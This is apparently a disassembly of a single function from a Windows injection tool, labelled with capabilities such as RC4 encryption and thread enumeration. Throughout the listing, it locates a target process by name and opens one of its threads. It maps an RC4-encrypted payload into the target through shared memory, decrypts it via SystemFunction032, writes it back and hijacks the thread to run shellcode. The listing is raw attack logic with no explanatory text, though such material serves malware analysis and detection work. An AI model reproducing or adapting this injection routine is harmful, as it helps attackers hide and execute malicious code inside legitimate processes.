Function at 0x140001510
Capabilities:
Encrypt data using rc4 via systemfunction032
Enumerate threads

Disassembly:
push rbp
push rbx
push rsi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r15d, r15d
mov rbx, rdx
mov qword [rbp - 0x21], r15
mov r14d, r15d
mov dword [rbp - 0x29], r15d
mov esi, r15d
cmp ecx, 2
jge 0x140001563
mov rdx, qword [rdx]
lea rcx, str.____Usage_:___s___Process_Name___n
call fcn.140001010
lea eax, [r15 - 1]
jmp 0x14000198d
mov rdx, qword [rdx + 8]
lea rcx, str._i__Searching_For_Process_Id_Of___s__...
call fcn.140001010
mov rcx, qword [rbx + 8]
lea r8, [rbp - 0x21]
lea rdx, [rbp - 0x29]
call fcn.1400010d0
test eax, eax
jne 0x14000159e
lea rcx, str.____Process_is_Not_Found__n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000198d
lea rcx, str.___DONE__n
mov qword [rsp + 0xd0], rdi
call fcn.140001070
mov edi, dword [rbp - 0x29]
lea rcx, str.___Found_Target_Process_Pid:__d__n
mov edx, edi
call fcn.140001070
lea rcx, str._i__Searching_For_A_Thread_Under_The_Target_Process_...__n
call fcn.140001070
xor edx, edx
mov qword [rbp - 0x11], 0x1c
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov dword [rbp + 7], r15d
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000160d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____CreateToolhelp32Snapshot_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000167c
lea rdx, [rbp - 0x11]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x140001630
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____Thread32First_Failed_With_Error_:__d__n
jmp 0x140001670
cmp dword [rbp - 5], edi
je 0x140001648
lea rdx, [rbp - 0x11]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001630
jmp 0x140001677
mov esi, dword [rbp - 9]
xor edx, edx
mov r8d, esi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r14, rax
test rax, rax
jne 0x140001677
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____OpenThread_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001070
test rbx, rbx
je 0x140001685
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001a5e
test r14, r14
je 0x140001a5e
mov qword [rsp + 0xe0], r12
lea rcx, str._t_i__Found_Target_Thread_Of_Id:__d__n
mov edx, esi
mov qword [rsp + 0xe8], r13
call fcn.140001070
lea rcx, str.___DONE__n_n
call fcn.140001070
lea rcx, str._i__Injecting_Target_Process_...__n
call fcn.140001070
xor edx, edx
mov qword [rsp + 0x28], r15
mov r12d, 1
mov dword [rsp + 0x20], 0x114
xor r9d, r9d
mov rdi, r15
lea rcx, [rdx - 1]
lea r8d, [r12 + 0x3f]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r13, rax
test rax, rax
jne 0x140001723
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____CreateFileMapping_Failed_With_Error_:__d__n
call fcn.140001070
lea rcx, str.____FAILED__n
call fcn.140001070
jmp 0x140001970
mov esi, 2
mov qword [rsp + 0x20], 0x114
mov edx, esi
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, qword [rbp - 0x21]
mov rbx, rax
test rax, rax
jne 0x14000176c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile_Failed_With_Error_:__d__n
call fcn.140001070
xor esi, esi
mov r12d, esi
jmp 0x140001868
mov rdx, rbx
lea rcx, str._t___Local_Mapping_Address_:_0x_p__n
call fcn.140001070
lea rcx, str._t___Press__Enter__To_Write_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rdx, rbx
lea rcx, str._t_i__Copying_Payload_To_0x_p_...
call fcn.140001070
lea rax, [0x140005080]
lea rbx, [rbx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rbx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rbx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rbx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rbx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rbx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rbx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rbx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rbx - 0x10], xmm1
sub rsi, r12
jne 0x1400017a3
movups xmm0, xmmword [rax]
lea rcx, str.___DONE__n
movups xmmword [rbx], xmm0
mov eax, dword [rax + 0x10]
mov dword [rbx + 0x10], eax
call fcn.140001070
mov dword [rsp + 0x38], 0xffffffff
xor r9d, r9d
mov dword [rsp + 0x30], 0x40
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov rdx, r15
mov rcx, r13
mov qword [rsp + 0x20], rsi
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov rdi, rax
test rax, rax
jne 0x140001859
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile2_Failed_With_Error_:__d__n
call fcn.140001070
mov r12d, esi
jmp 0x140001868
mov rdx, rax
lea rcx, str._t___Remote_Mapping_Address_:_0x_p__n
call fcn.140001070
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
jne 0x140001887
lea rcx, str.____FAILED__n
call fcn.140001070
jmp 0x140001970
lea rcx, str.___DONE__n
call fcn.140001070
lea rcx, str._i__Decrypting_the_payload_in_the_target_process_n
call fcn.140001070
mov ecx, 0x114
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400018c3
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001070
jmp 0x140001970
mov r9d, 0x114
mov qword [rsp + 0x20], rsi
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400018f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ReadProcessMemory_Failed_With_Error_:__d_n
call fcn.140001070
jmp 0x140001967
lea rax, [0x140005198]
mov dword [rbp - 0x21], 0x10
lea rcx, str.Advapi32
mov qword [rbp - 0x19], rax
mov dword [rbp - 0x1d], 0x10
mov dword [rbp + 0xf], 0x114
mov dword [rbp + 0x13], 0x114
mov qword [rbp + 0x17], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0xf]
call rax
test eax, eax
je 0x1400019a8
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001070
lea rcx, str.____Error_when_decrypting_the_payload_n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 0xffffffff
mov r12, qword [rsp + 0xe0]
mov r13, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xd0]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140001a90
add rsp, 0xa0
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret
lea rax, [rbp + 0x1f]
mov r9d, 0x114
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a45
cmp qword [rbp + 0x1f], 0x114
jne 0x140001a45
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Hijacking_The_Target_Thread_To_Run_Our_Shellcode_...__n
call fcn.140001070
mov rdx, rdi
mov rcx, r14
call fcn.1400012d0
test eax, eax
je 0x140001970
lea rcx, str.___DONE__n_n
call fcn.140001070
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001975
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d_n
call fcn.140001070
jmp 0x140001967
lea rcx, str.____No_Thread_is_Found__n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140001985